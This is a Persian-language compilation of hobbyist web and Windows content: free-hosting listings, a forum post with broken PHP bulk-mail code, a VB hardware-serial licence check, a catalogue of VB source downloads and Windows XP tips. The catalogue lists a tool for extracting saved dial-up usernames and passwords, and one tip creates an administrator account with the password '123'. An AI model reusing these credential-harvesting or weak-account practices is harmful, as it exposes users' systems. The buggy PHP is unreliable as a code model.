25 حساب ایمیل.
Safe Mode : بسته
Register Globals : بسته
سایت : http://www.my2gig.com
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
2 گیگابایت فضا.
10 گیگابایت پهنایباند.
دارای FTP.
پشتیبانی از PHP.
قابلیت ساخت 3 پایگاه داده MySQL.
قابلیت نصب خودکار برنامه‌های تحت وب.
نمایش آمار سایت بصورتلحظه‌ای.
Safe Mode : باز
Register Globals : بسته
سایت : http://www.iifree.net
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
500 مگابایت فضا.
15 گیگابایت پهنایباند.
دارای FTP.
پشتیبانی از PHP.
قابلیت ساخت 5 پایگاه داده MySQL.
قابلیت نصب خودکار برنامه‌های تحت وب.
نمایش آمار سایت بصورتلحظه‌ای.
Safe Mode : باز
Register Globals : بسته
سایت : http://www.247ihost.com
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
5 گیگابایت فضا.
20 گیگابایت پهنایباند.
دارای FTP.
پشتیبانی از PHP نسخه 5.
قابلیت ساخت 3 پایگاه داده MySQL.
قابلیت نصب خودکار برنامه‌های تحت وب.
نمایش آمار سایت بصورتلحظه‌ای.
Safe Mode : باز
Register Globals : بسته
سایت : webhosting.nationvoice.com
ویژگی‌ها :
دارای ساب‌دامین رایگان و قابل اتصالبه دامین.
500 مگابایت فضا.
10 گیگابایت پهنای باند.
دارای FTP.
پشتیبانی از PHP.
قابلیت ساخت 5 پایگاه داده MySQL.
10حسابایمیل.
Safe Mode : بسته
Register Globals : بسته
سایت : http://www.councilpop.net
ویژگی‌ها :
دارایساب‌دامین رایگان و قابل اتصال به دامین.
1 گیگابایت فضا.
10 گیگابایت پهنایباند.
دارای FTP.
پشتیبانی از PHP نسخه 4.4.7.
قابلیت ساخت پایگاه داده MySQL.(نامحدود)
حساب ایمیل نامحدود.
cPanel 11
Fantastico De Luxe
Safe Mode : بسته
Register Globals : بسته
__________________
************************
کد ارسال ایمیل به همه
من کد ارسال ایمیل رو بصورت زیر نوشتم که ادمین در یک text area متن پیغام رو می نویسه و این پیغام در des ذخیره شده و به این صفحه می ره......

PHP کد:
<?php


 
require_once("mailallConfig.php");

   
// $mail=$_POST['mail'];

    
$from "Info@koohozendegi.ir";
    
$name "Kooho Zendegi ";
    
$message$_POST["des"];
    
$subject=$name ;
 
//------------------------------------
 
if (strlen($mail_body)==0  )
{
    echo 
'<center><br><br>لطفا Ù…تن Ø§Ø±Ø³Ø§Ù„ÙŠ Ø±Ø§ ØªØ§ÙŠÙ¾ ÙƒÙ†ÙŠØ¯</center> ';

      echo 
'<center></br></br>'.'<a href=mailalluser.html>Back</a></center><br>';

         exit;
}


 
//----------------------------------------
    
    
$retrun=Send_mail($from,$name,$subject,$message,1);


?>
 
<body>

<?
if($retrun) {
echo 
"<center>Your Email Has Been Send.</cenetr>";

echo 
"<br><p align=center><a href=mailalluser.html>Back</a></p>";
}

else
{
echo 
"Your Email Dont Send.";

echo 
"<br><p align=center><a href=mailalluser.html>ÈѐÔÊ</a></p>";
}
?>
----------------------------
صفحه mailallconfig.php

PHP کد:
<?
// ---------------------------------------
  
$db=mysql_connect('localhost','ali1','');

if(!
$db)
{
  echo 
"عدم Ø§ØªØµØ§Ù„ Ø¨Ù‡ Ø³Ø±ÙˆØ±";
  exit;
}
 if (!
mysql_select_db('kooh'))
 {
     echo 
"دسترسي Ø¨Ù‡ Ø¨Ø§Ù†Ùƒ Ø§Ù…كان Ù¾Ø°ÙŠØ± Ù†ÙŠØ³Øª";
     exit;
 }
//---------------------------------------------------

    
$query="select * from user ";
  
$result=mysql_query("$query");
      
$num=mysql_num_rows($result);

   if(
$num==0)
   {
       echo 
"<br><br><font color=blue><center>هيچ Ø´Ø®ØµÙŠ Ø¹Ø¶Ùˆ Ù†Ø´Ø¯Ù‡ Ø§Ø³Øª</center></font>";

echo 
'<center></br></br>'.'<a href=mailalluser.html>برگشت</a></center>';
 exit;
   }
//...................



$num=mysql_num_rows($result);
   for(
$i=0;$i<$num;$i++)
   {
    global   
$row=mysql_fetch_row($result);













//--------------------------------
function Send_mail($from,$fromname,$subject,$message,$format=0)
{
    
$mail = new PHPMailer();                        //create a mail instance
    
$mail->IsSMTP();                                //Set Mailer is SMTP

    /**You must modify all configure setting in this script
    * start configure setting script   **/
    //fromname="Jack";                                //name who send this email
    
$toemail =$row[8];
البته کد های زیادی داره ولی اصلش همین قدره..با پس از نوشتن پیغم و زدن دکمه ارسال فقط یه صفحه سفید میاد
و هیچ اتفاقی نمی افته چرا؟؟؟؟؟

چگونه یک فرم ارتباطی میان کاربر وسروربسازیم .

یکی از سوالاتی که خیلی زیاد مطرح میشه اینه که چطور میشه توی سایتمون یک فرم ارتباط با ما ، سفارش کار ، ارسال نظر یا ... قرار بدیم

پس فرصت رو از دست ندید و یه نگاه هر چند گذرا به این مقاله بندازید .

 

فرم ارتباطی که در این جا آموزش می دم خصوصیاتی داره که در زیر قسمتی از اونا رو می بینید :

 

 

امکانات فرم

1 - امکان ارسال TEXT به پست الکترونیک مورد نظر

2 - ارسال پیام تشکر به صورت خودکار به پست الکترونیک کاربر

3 - عکس العمل فرم در مقابل ورود اشتباه اطلاعات

4 - سرعت بسیار بالای فرم در ارسال پست الکترونیک

5 - نمایش صفحه تشکر پس از ارسال صحیح اطلاعات

 

 

پیش نیاز فرم

1 - پشتیبانی زبان PHP توسط سرور مورد نظر

2 - آپلود هر سه قسمت فرم در یک قسمت (شاخه)  از فضای مورد نظر

 

 

خیلی خب اگه حاضرید شروع می کنیم .

 

در اولین مرحله فرم اصلی رو می سازیم :

( کد صفحه )

حالا این کدها رو به اسم mail.html ذخیره می کنیم .

 

در مرحله بعد موتور اصلی ارسال ایمیل رو می سازیم :

( کد صفحه )

و اونو به اسم motor.php ذخیره می کنیم .

 

توضیحات مربوط به کدهای PHP بالا رو در این قسمت می بینید:

 

در مرحله سوم صفحه تشکر رو می سازیم :

( کد صفحه )

این صفحه رو هم به اسم thanks.html ذخیره می کنیم .

 

خسته نباشید!

 تموم شد به همین سادگی !

 

برای این که با مشکلی مواجه نشید چند نکته مهم رو یاد آوری می کنم :

 

1- ( برای دوستانی که آماتورتر هستند ) برای ساختن فایل ها می تونید از انواع ادیتور های متنی استفاده کنید مثلا

شما می تونید از Notepad خود ویندوز استفاده کنید و فایل ها رو به اسم filename.html یا filename.php ذخیره کنید .

2 - صفحه تشکر رو به هر مدلی که دوست داشتید می تونید طراحی کنید فقط حتما اونو به اسم thanks.html ذخیره کنید .

3 - در نام گذاری صفحات دقت کنید که تمامی صفحات رو حتما  با حروف کوچک انگلیسی نام گذاری کنید .

4 - در صورتی که با مشکلی مواجه شدید با ایمیل ned_iri@yahoo.com تماس بگیرید .

قفل نرم افزاری ویژوال بیسیک

سلام به همگی!

قفل گذاری نرم افزاری معمولا سه مرحله داره

۱- ایجاد کد قفل روی کامپیوتر

۲- فرمول قفل

۳- چکینگ کد در زمان اجرای نرم افزار

 

مرحله اول توسط یک برنامه انجام میشه که بهش میگن Key Generator. این برنامه رو مینویسیم تا یک کد روی هارد دیسک کامپیوتر ایجاد کنه که بعدا بشه چکش کرد. معمولا این کد با استفاده از مشخصات کامپیوتر مثل شماره سریال هارد دیسک و یا مادربورد و یک فرمول ایجاد میشه.

مثلا این برنامه یک فایل در درایو C ایجاد میکنه که یک کد رو که از سریال نامبر هارد و فرمول دلخواه شما بدست میاد توش مینویسه. خوب این مسلمه که این کد فقط مختص همین کامپیوتره و روی هرکامپیوتر دیگه ای یک عدد دیگه بدست میاد و این کلید قفل گذاری نرم افزاریه!

Dim fso As New FileSystemObject, drv As Drive, s As String
Set drv = fso.GetDrive(fso.GetDriveName("c:"))
HDD_Serial = FormatNumber(drv.SerialNumber, 0)

S1=""

For i = 1 To Len(HDD_Serial)
 If Mid(HDD_Serial, i, 1) <> "," Then S1 = S1 + Mid(HDD_Serial, i, 1)
Next i

HDD_Serial = Trim(S1)

Code1 = ( Val(HDD_Serial) * 3 + 1350) / 5

Open "c:\Serial.sn" For Output As #1
 Print #1, Code1
Close #1

عدد Code1 که توی فایل Serial.sn نوشته شده همون کلید شماست برای ورود به نرم افزار. حالا فقط کافیه که موقع اجرای نرم افزار بتونید با همون فرمول این عدد رو چک کنید و بفهمید که keygenerator شما این عدد رو نوشته یا یکی شیطون شده و یه عدد از خودش توی این فایل نوشته!

خوب، بقیه قسمتهای دیگه نرم افزار رو میذارم به عهده خودتون! چون یه کمی هم از ذهنتون کار بکشین بد نیست! (قابل توجه اونایی که درخواست قفل کرده بودن!)

سورس ویژوال بیسیک Vb Source-کتاب-اکتیو ایکس

 

---» سورس کدهای مربوط به طراحی فرم ها :

» نمایش فرم به صورت شیشه ای

» نمایش فرم ها با انیمیشن خاص

» تغییر شکل فرم به شکل یک ستاره

» قرار دادن یک دکمه روی نوار عنوان

» طراحی فرم های سوراخ دار

» طراحی فرمهایی به شکل بیضی

---» سورس کدهای مربوط به کار با سیستم و ویندوز :

» شناسایی CD ROM در سیستم

» بررسی کردن وضعیت چراغ Caps Lock

» نمایشگر نوار کارکرد پردازنده

» بررسی کننده ظرفیت درایوها

» برنامه ای برای Hibernate کردن سیستم

» پنهان کردن درایوها از My Computer

» جابجا شدن حرکت نشانگر موس

» بستن برنامه ها با استفاده از عنوان آنها

» راه اندازی مجدد سیستم ( Restart )

» جستجوی سریع فایلها در سیستم

» خاموش کردن سیستم ( ShutDown )

» ضبط کردن صداهای پخش شده در ویندوز

» استخراج کردن مشخصات سیستم

» قرار دادن آیکون برنامه در کنار ساعت

» قرار دادن برنامه در Startup ویندوز

» استخراج اطلاعات Dialup های موجود در سیستم ( UserName و Password )

» نمایش دیالوگ سیستم برای انتخاب Folder یا پوشه

---» سورس کدهای به نوعی مرتبط با گرافیک سیستم :

 » حرکت دادن آیکونهای موجود در دسکتاپ

» استخراج ابعاد تصویر بدون بار کردن آن

» عکس گرفتن از تصویر زمینه دسکتاپ

» اسکرین سیور شماره 1

» اسکرین سیور شماره 2

» اسکرین سیور شماره 3

» اسکرین سیور شماره 4

» شیشه ای کردن نوار وظیفه ( TaskBar )

» تغییر والپر ( WallPaper ) ویندوز

» بزرگنمایی تصویر همراه با اسکرول

---» سورس کدهای مربوط به انواع بازی ها :

 » بازی در حالت سه بعدی ( سفینه جنگی )

» بازی قشنگ پازل شماره 1

» بازی قشنگ پازل شماره 2

» بازی کرم یا همون Snake

» بازی جالب و سنتی دوز ( XO )

---» انواع سورس کدهای دیگر برای دانلود :

» نمایشگر ساعت به صورت عقربه ای

» نمایشگر ساعت به صورت دیجیتالی

» نمایش و کنترل شکلکهای ویندوز ( Agent )

» کنترل دکمه های فشرده شده در سیستم

» فرستادن ایمیل به همراه فایل ضمیمه

» MP3 پلیر با اسکین های زیبا و جالب

» برنامه ویرایشگر فایل های متنی

» یک پیانو ( ارگ ) بسیار قشنگ و جالب

» طراحی و ساخت منو های شناور

» برنامه ای برای مدیریت رجیستری

» روشی برای جستجو و جایگزینی در متن

» چرخش دادن متن با زاویه دلخواه

» ارتباط دادن VB با فلش (1)

» ارتباط دادن VB با فلش (2)

» ویرایشگری برای صفحات HTML

---»  سورس کدهای مبدل تاریخ و اعداد :

» تابع مبدل تاریخ سیستم به تاریخ شمسی با حالتهای مختلف

» تابع تبدیل اعداد به صورت حروفی ( فارسی )

 -------------------

---» آزمون گیر برای آموزشگاه های کامپیوتر با امکانات بالا

       » دانلود          » سایز :  2.49  MB           » تصویر نمونه

---» برنامه ای برای مدیریت آژانسهای تلفنی ( اتومبیل )

       » دانلود          » سایز :  357   KB            » تصویر نمونه 

---» دفترچه تلفن با امکانات کم ولی سریع ( نسخه 1.0 )

       » دانلود          » سایز :  ۶۸۵   KB            » تصویر نمونه

---» دفترچه تلفن با امکانات بیشتر و جالبتر ( نسخه ۲.0 )

       » دانلود          » سایز :  ۲۷۴   KB            » تصویر نمونه

---» شبیه ساز نرم افزار NC برای مدیریت فایلها و پوشه ها 

       » دانلود          » سایز :  84    KB             » تصویر نمونه

---» نمایشگر تاریخ شمسی در کنار ساعت ویندوز ( کمینه )

       » دانلود         » سایز :  2۸۱   KB             » تصویر نمونه

---» ماشین حساب مهندسی با قابلیت محاسبات متوالی 

       » دانلود          » سایز :  20    KB             » تصویر نمونه

---» یک برنامه کوچولو برای مدیریت فروشگاه باتری اتومبیل

       » دانلود         » سایز :  2۳۰    KB             » تصویر نمونه

 ---------------------

---» کنترلهایی برای استفاده به عنوان دکمه :

#

نام کنترل

کاربرد

سایز KB

---------

۱

3Dabm7u

برای طراحی دکمه های کریستالی و زیبا

378

دانلود 

۲

MediaButton

دکمه ای ساده اما شبیه به دکمه های XP 

11

دانلود

۳

OfficeButton

دکمه ای مانند دکمه های Office 2003

8

دانلود

۴

LHButton

دکمه ای شبیه به دکمه های Longhorn

17

دانلود 

۵

PBXPButton

دکمه ای با امکان تعیین آیکون برای آن

22

 دانلود 

---» کنترلهایی دیگر برای استفاده در طراحی برنامه : 

#

نام کنترل

کاربرد

سایز  KB

----------

1

Calc Combo

ماشین حساب کشویی و جم و جور

47

دانلود 

2

Color Combo

کشویی برای انتخاب رنگها با امکان ویرایش

65

دانلود 

3

Font Combo

کشویی برای انتخاب فونت ها 

59

دانلود

4

Process List

نمایش لیست برنامه های که CPU اجرا میکند

18

دانلود

5

HW Info

استخراج مشخصات سخت افزاری سیستم

24

دانلود 

6

VF MP3

پخش فایلهای MP3 همراه با اکولایزر 

94

دانلود

7

Pic Scroll

کنترلی عالی برای بزرگنمایی و کنترل تصاویر

13

دانلود 

8

Reg Control

کنترلی مناسب برای کار با رجیستری

17

دانلود

9

URL Lable

مورد استفاده برای ساخت لینک های اینترنتی

11

دانلود

10

Popup Menu

ساخت آسان منوهای شناور

43

دانلود

11

Tool Tip

طراحی پیغام های حبابی شکل

23

 دانلود

12

Msg Box

طراحی msgbox های پیشرفته 

23

دانلود

13

Tray Icon

قرار دادن آیکون برنامه در کنار ساعت ویندوز

36

دانلود

14

Sinus Text  

حرکت دادن متن به شکل موج سینوسی

14

دانلود

15

Skin Control

برای تبدیل فرم به شکل قالب تصویر دلخواه

6

دانلود

16

Tree Folder

نمایش پوشه ها با حالت درختی

19

دانلود

---» کنترلهایی برگزیده (  توصیه می کنم حتما دانلود کنید ) :

#

نام کنترل

کاربرد

سایز KB

--------

1

XP PBar

نوار پیشرفت با حالت های جالب و زیبا

20

دانلود 

2

XP Tab

صفحات برگ مانند ( Tab ) در حالتهای مختلف

72

دانلود

3

XP Tools

فریم و دکمه با استایل های زیبا و مختلف

41

دانلود

 ---» کنترل مخصوص (  توصیه می کنم حتما دانلود کنید ) :

نام کنترل :  VideoOcx

کاربرد : کار این اکتیوایکس اینه که WebCam یا دوربین های فیلم برداری که به سیستم شما متصل شدن رو شناسایی میکنه و تصویر رو از اونها گرفته و نمایش میده و قابلیت ذخیره کردن به صورت فیلم رو هم روی سیستم داره . مورد استفاده در زمینه ( Image Processing ) یا  پردازش تصویر .

» شما میتونید این اکتیوایکس رو که به صورت فایل نصبی همراه با برنامه های نمونه به زبانهای VisualBasic 6 و 6 ++Visual C و کد رجیستر اون از لینک زیر دانلود کنید .

» لینک دانلود              » حجم :  1.4 مگابایت

--------------------------

   ۱.  آشنایی کلی با مفهوم پایگاه داده ------------------------ » فایل PDF          » سایز :  70  KB

   ۲. آشنایی با ابزار برقراری ارتباط با پایگاه داده --------------- » فایل PDF          » سایز :  73  KB

   ۳. استفاده از کنترل داده با یک مثال ساده -------------- » فایل PDF          » سایز :  73  KB

   ۴. آشنایی با رکوردست و استفاده از متدهای آن  -------- » فایل PDF          » سایز :  73  KB

   ۵. انواع رابطه های موجود در پایگاه داده ------------------ » فایل PDF          » سایز :  66  KB

   ۶. استفاده از دستورات SQL در ویژوال بیسیک (1) ------- » فایل PDF          » سایز :  93  KB

   ۷. گزارشگیری از پایگاه داده در ویژوال بیسیک ------------ » فایل PDF          » سایز :  155 KB

   ۸. ذخیره کردن تصویر در پایگاه داده  ---------------------- » فایل PDF          » سایز :  61  KB

   ۹. ارتباط با پایگاه داده رمز گذاری شده  ----------------------- » فایل PDF          » سایز :  67  KB

  ۱۰. استفاده از دستورات SQL در ویژوال بیسیک (2)  ------ » فایل PDF          » سایز :  70  KB

  ۱۱. کپی کردن اطلاعات از یک پایگاه به پایگاه دیگر  -------- » فایل PDF          » سایز :  67  KB

  ۱۲. کار با فایلهایی از نوع Excel و Word ------------------ » فایل PDF          » سایز :  72  KB

  ۱۳. آشنایی با اشیای داده ( ADO )  --------------------- » فایل PDF          » سایز :  204 KB

  ۱۴. نحوه طراحی و ایجاد نمودار در ویژوال بیسیک  --------- » فایل PDF          » سایز :  118 KB

  ۱۵. روش تغییر پسورد پایگاه داده Access از طریق VB  ---- » فایل PDF          » سایز :  54  KB

 ----------------------------------

۱. نرم افزاری حاوی ( حدودا ۲۰۰ ) تابع API با توضیحات و روش استفاده . [ فارسی ]

      » لینک دانلود          » سایز :  686   KB    

   2. نرم افزاری حاوی تقریبا تمام توابع API با توضیحات و برنامه نمونه . [ انگلیسی ]  

      » لینک دانلود          » سایز :  2.19  MB     

   3. نرم افزاری برای ساخت برنامه های نصب شونده با کاربرد بسیار آسان . [ Setup2Go    

      » لینک دانلود          » سایز :  989   KB          

   ۴. نرم افزاری برای ساخت برنامه های نصب شونده با امکانات پیشرفته . Install2Go ]    

      » لینک دانلود          » سایز :  4.89  MB    

   ۵. قطعه برنامه کوچکی برای اجرای برنامه های ساخته شده با VB6 در کامپیوتری دیگر .

      » لینک دانلود          » سایز :  1016  KB       

   ۶. سرویس پک ۶ برای VB6 که کارکرد برخی کنترلها مانند Data را بهبود میبخشد . برای مثال با نصب

       این بسته امکان اتصال به پایگاه داده Access 2003 توسط کنترل Data امکانپذیر میشود .

       نکته مهم : در موقع نصب این بسته نباید ویژوال بیسیک ۶ اجرا گردد .

      » لینک دانلود          » سایز :  27  MB        

 -------------------------

» موضوع مقاله : آموزش کامل نحوه ایجاد ارتباط بین VB6 و Crystal Report 10 با نکات مهم .

     » لینک دانلود              » حجم : 840 کیلوبایت

» موضوع مقاله : آموزش کامل کار با کنترل Register Control.ocx برای مدیریت رجیستری .

     » لینک دانلود              » حجم : ۱۹۶  کیلوبایت

» موضوع مقاله : معرفی 21 تابع کارآمد API با شرح کامل نحوه استفاده از آنها در برنامه .

     » لینک دانلود              » حجم : ۱۵۴  کیلوبایت

» موضوع مقاله : آموزش نحوه پنهان کردن درایوهای موجود در My Computer و استفاده آن در برنامه .

     » لینک دانلود              » حجم :  ۶۵  کیلوبایت

» موضوع مقاله : ساخت برنامه نصب حرفه ای با نرم افزار InstallShield 10 برای برنامه های VB6.

     » لینک دانلود              » حجم : 2.۴۰  مگابایت

مجموعه مطالب آموزشی-افزایش علم کاربری ویندوز

از مطالب قبلی هم حتما دیدن کنید.

DLL های اضافی:

اگر محتویات فولدرهای C:\Windows, C:\Windows\System

 را بررسی کنید تعداد زیاد فایلهای با پسوند DLL خواهید یافت که بدون

استفاده هستند. برای اینکه فضای هارد دیسک شما بیهوده اشغال نشود

می توانید از Windows Explorer استفاده کنید تا بدانید که آیا یک فایل

 DLL هنوز استفاده می شود یا خیر؟

 برای انجام این کار روی یک فایل DLL کلیک سمت راست کنید سپس

 Quick View را انتخاب کنید در آنجا اطلاعاتی خواهید یافت از آن جمله

کاربردهایی است که برای آنها فایل DLL شما مورد استفاده قرار می گیرد

 اگر این کاربردها مدتهاست که مورد استفاده شما قرار نگرفته و قرار نخواهد

گرفت می توانید با اطمینان خاطر آن فایل DLL را پاک کنید. البته باید خیلی

در انجام این کار دقت کنید توجه داشته باشید که اگر نمی توانید در منوی

راست کلیک Quick View را ببینید به این معنی است که شما باید ابتدا آن

را از روی CD ویندوز خود نصب کنید (از طریق کنترل پانل

 Add/Rremove Program و سپس منوی Windows Setup سپس

 Accessorise را انتخاب کرده وارد Detail می شوید در حالیکه CD

ویندوز 98 خود را در CD-ROM قرار داده اید Quik View را تیک بزنید

تا این ویژگی به ویندوز شما اضافه شود.

-------------------

گذاشتن پسورد دوم برای ویندوز
در ویندوز XP می توانید قبل از فعال شدن هر حساب کاربری ( USER ) ها پسورد دیگری قبل از همه این ها قرار دهید . انتخاب این پسورد سبب خواهد شد تا دیگران قبل از ورود به ویندوز از دو سپر امنیتی عبور کنند. برای اضافه نمودن این پسورد به ویندوز مراحل زیر را دنبال کنید :
1)در کادر محاوره ای RUN عبارت Syskey را تایپ کنید و سپس OK کنید .
2)در پنجره ظاهر شده با سر برگ Securing the Windows XP Account Database روی گزینه Update کلیک کنید.
3)حال در قسمت Password Startup پسورد دلخواه خود را وارد کنید و پنجره را با OK ببندید.
4) در صورت لزوم می توانید در قسمت System Generated Password پسورد را بر روی Floppy Disk ذخیره نمائید تا فقط با استفاده از آن قادر به عبور باشید. از این پس زمانی که سیستم روشن و یا ریبوت شود . پسورد امنیتی قبل از ورود به حساب های کاربری ظاهر می شود و برای ورود از شما پسورد در خواست می کند.

( توجه: اگر پسورد را سه مرتبه اشتباه وارد کنید سیستم ریبوت می شود.)

----------------------------------

غیر فعال کردن گزارش خطا در ویندوز ایک پی
برو به به کنترل پنل ،  بعد وارد System شو ، روی برگه Advanced کلیک کن .  حالا روی error-reporting در زیر پنجره کلیک کن . Disable error reporting رو انتخاب کن و با فشار زدن OK  از صفحات خارج شو.

-----------------------------------------------

برگردوندنه ویندوز خراب شده به حالت قبل از بروز مشکل !
آخرین راه نجات ویندوز ! با استفاده از System Restore ویندوز رو برای مواقع اضطراری آماده کنید! شرکت سازنده ویندوز MICROSOFT ابزاری به نام System Restore رو در ویندوز قرار داده که از جمله کارکرد های اون بازیابی و جلوگیری از هنگ شدن ویندوز در مواقع حساس و اضطراری است. System Restore در حقیقت تنظیمات صحیح ویندوز رو به خاطر می سپاره و اون رو در محلی در دیسک سخت برای مواقع اضطراری ذخیره می کنه و با بازیابی کردن این اطلاعات می توان از بروز مشکل جلوگیری کرد . اولین گزینه سیستم ریستور یعنی RESTORE MY COMPUTER TO AN EARLIER TIME ویندوز رو به حالت قبل بر می گردونه و دومین گزینه یعنی Create Restore Points می تونه ریستور پوینتی ایجاد کنه. برای استفاده از این قابلیت مراحل زیر رو دنبال کنید : 1)منوی START رو انتخاب کنید ALL PROGRAMS رو کلیک و بعد از اون Accessories رو انتخاب کنید .سپس System Tools رو بر بزنید و System Restore رو کلیک کنید. 2) RESTORE MY COMPUTER TO AN EARLIER TIME رو کلیک کنید . 3)تاریخی رو که در اون کامپیوتر خوب کار می کرده رو کلیک کنید . 4)اطمینان حاصل کنید که تمام فایلهای باز رو ذخیره کردید و بعد از اون NEXT رو کلیک کنید . در این حالت سیستم عملیات بازیابی و بازگشت به قبل را آغاز می کنه .بعد از اتمام ، سیستم مجددا راه اندازی می شه . بعد از برگشت به ویندوز پنجره ای باز می شه که با زدن OK وارد محیط ویندوز می شه . برای ساختن یک Restore Points به مسیر قبل رفته ولی این بار گزینه Create Restore Points رو انتخاب کنید و با کلیک روی NEXT به قسمت بعد رفته و نامی رو برای Restore Points جدید انتخاب کنید و حالا گزینه Create رو کلیک کنید پس از چند لحظه کل تنظیمات ویندوز ذخیره می شه . از این به بعد در صورت بروز مشکل هنگام بوت ویندوز باید کلید F8 رو پایین نگاه دارید و با انتخاب گزینه Last Known Good Configouration ویندوز را به حالت قبل بر گرداند . پس ، از این به بعد بهتره قبل از انجام هر تغییری و نصب هر برنامه ای که نصب اون امکان داره تغییراتی رو در ویندوز اعمال کنه ( مانند آنتی ویروسها ، فایروالها و...) ، برای جلوگیری از خراب شدن ویندوز یک Restore Points ایجاد نمائیم .

-------------------------------------------------

نصب ویندوز مدیا پلیر نسخه 9 و 10 که مخصوص ویندوز ایک پی است بر روی همه ویندوزها !
با ورود نسخه های جدید Windows Media Player بسیاری از کاربران علاقه مند با دقت و وسواس خاصی این برنامه ها را با زحمت و مشقت فراوان از سایت شرکت Microsoft دریافت کردند . اما از آنجایی که شرکت مایکروسافت برای ترغیب بیشتر کاربران به سمت ویندوز XP , برنامه Windows Media Player نسخه های( 9 و 10 ) را فقط مخصوص این سیستم عامل طراحی کرده است و نمی توان آن را به صورت عادی بر روی ویندوز های دیگر نصب نمود . با استفاده از یک نکته تکنیکی بسیار ساده شما می توانید Windows Media Player نسخه های ( 9 و 10 ) را بر روی همه ویندوز ها نصب کنید و با استفاده از آن لذت ببرید ! برای نصب آخرین نسخه های Windows Media Player لازم است حتما برنامه WINZIP بر روی سیستم شما نصب باشد . فایل Setup مربوط به Windows Media Player در واقع یک فایل فشرده شده است و شما باید آنرا بوسیله WINZIP باز نمائید .برای اینکار بر روی SETUP برنامه Windows Media Player  راست کلیک کرده و با انتخاب گزینه EXTRACT TO و تعیین مسیری برای باز کردن این فایل ، تمام فایلهای SETUP، Windows Media Player را از حالت فشرده خارج کرده و در مسیری خاص کپی کنید . بعد از این کار باید به مسیری که فایلها را کپی کردید بروید و بر روی فایل SETUP-WM.EXE  دو بار کلیک کرده و آن را اجرا کنید . با انجام تمامی مراحل نصب Windows Media Player بر روی سیستم شما نصب می شود. در واقع فقط فایل Setup ، مخصوص Xp طراحی شده است وگرنه خود Windows Media Player نیازی به Xp ندارد . لازم به ذکر است اینکار چندین بار تست شده و مشکلی ندارد .

 البته در بعضی حالات خاص امکان عدم کارکرد این ترفند هست مانند زمانی که کاربران دو ویندوز متفاوت را بر روی یک پارتیشن نصب نموده باشند . به طور کلی پیشنهاد میشود همواره دو ویندوز مختلف را بر روی دو پارتیشن متفاوت نصب نمائید .

ـــــــــــــــــــــــــــــــــــــــ

ساخت سریع کاربر برای ویندوز
با تایپ در خط فرمان Run می توانید یک یوزر جدید در کمتر از 5 ثانیه ایجاد کنید و دیگر نیازی به رفتن به کنترل پنل و ... نیست.دستور زیر را در کادر Run تایپ کنید:
این دستور کاربر را ایجاد می کند: Net User  Amir ۱23/add
به همین سادگی . نام کاربری که من مثال زدم Amir و پسوردش  123هست. حالا اگه می خوایید گروهش رو هم مشخص کنید دستور زیر را تایپ کنید. :Net User Localgroup Administartor Amir/add
با این دستور کاربررا به گروه کابران Admin اضافه میکند.

-----------------------------------------------

ریستارت کردن ویندوز XP بدون بوت کردن
  ریستارت کردن ویندوز XP بدون بوت کردن
 ابتدا همزمان سه دکمه  Control + Alt +Delete را فشار دهید تا  Task Manager
باز شود حال به Tab - Processes بروید و آن را بفشارید  EXPLORER.EXE  را پیدا
کرده وروی آن رایت کنید کلیک  End Prosses را فشار دهید اکنون پنجره
Task Manager warning که حامل پیام  Yes یا No  مقابل شما قرار گرفته
شما  YES را فشار دهید بعد به Tab - Applications بروید ودکمه سمت
راست از اول New Task  را فشاردهید پنجره  Create - New -Task باز میشود
شما در قسمت  Open  تایپ کنید  Explorer.exe  و Ok کنید اکنون ویندوز
شما ریستارت شده است بدون بوت یا Log Off  لازم به ذکر است که این ریستارت فقط برای تغیرات که در ریجستری میدهید مفید است .

-----------------------------------------

آیکون ها بدون اسم
یکی از ساده ترین کارا  قرار دادن آیکون ها بدون اسم روی دسکتاپ است که ماشا ماشاالله همه شما این کارو بهتر از من بلدین ، ولی اینو برای اونایی میگم که تازه کارن و چیز زیادی بلد نیستن:

 روی ایکون مورد نظرکلیک کنید ، بعد کلید را فشار دهید، یا راست کلیک کرده و گزینه Rename را بزنید بعد کلید Alt  را پایین نگاه دارید و در همان حین عدد 0160 یا 255 (یکی به انتخاب) را بزنید سپس کلید Alt را رها کنید.  اگه این کار رو درست انجام داده باشی اسم اون آِیکون به هیچی تغییر میکنه  یعنی دیگه اسمی نداره.

-----------------------------------------------

محدود کردن دسترسی به Control Panel و اجزای آن
شاید محدود کردن کاربر در اعمال تغییرات در سیستم یکی از روشهای مناسب برای جلوگیری از از کار افتادگی سیستم در اثر تغییرات غیر لازم میباشد. بسیار دیده شده که کاربران از تغییر محیط، شرایط و یا نحوه کار سیستم نسبت به قبل گلایه دارند و مدعی هم هستند که هیج تغییری اعمال نکرده اند. این مساله ای است که اغلب سرپرستان سیستمها با آن مواجه هستند و مایکرسافت در ویندوز 2000 و XP امکانی را بنام Group Policy در ویندوز گنجانده که بتوان دسترسی یه سیستم را به طرق مختلف محدود کرد.
Group Policy این امکان را فراهم میکند تا بتوان Control Panel را به روشهای مختلف کنترل کرد:

1- دسترسی به Control Panel و اجزای آن را به طور کل از کار بیندازید.
2- فقط گزینه های خاصی در Control Panel نمایش داده شوند.
3- گزینه های خاصی را از دید کاربر مخفی کند.

 


برای آغاز کار ابتدا باید وارد  کنترل Group Plolicy بشوید که یکی از روشهای دسترسی به آن اجرا gpedit.msc از گزینه RUN در منوی Start می باشد.

جهت از کار انداختن Control Panel مراحل زیر را طی کنید:

1- از منوی Start گزینه Run را انتخاب کنید و بعد از نوشتن gpedit.msc  با زدن دکمه OK آن را تایید کنید.
2- در قسمت User Configuration به Administrative Templates بروید و با زدن علامت + کنار آن به گزینه های آن دسترسی پیدا کنید و Control Panel را انتخاب کنید.

3- اگر از ویندوز 2000 استفاده میکنید بر روی Disable Control Panel و اگر از XP استفاده میکنید بر روی Prohibit access to the Control Panel دوبار کلیک کنید.

4- گزینه Enable را انتخاب کنید و OK را بزنید
حالا دیگر هیج یک از کاربرها قادر به دسترسی به Control Panel نیستند حتی شما Administrator عزیز!!!
متاسفانه در یک سیستم Workgroup محدودیت به تمامی کاربرهای سیستم اعمال میشود حتی Administrator و برای رهایی از این مشکل باید از یک سیستم مبتنی بر Domain استفاده کرد تا بتوان با استفاده از OU ها تغییرات را به کاربرها و گروههای خاص اعمال کرد.


 نمایش و عدم نمایش گزینه های مورد نظر:

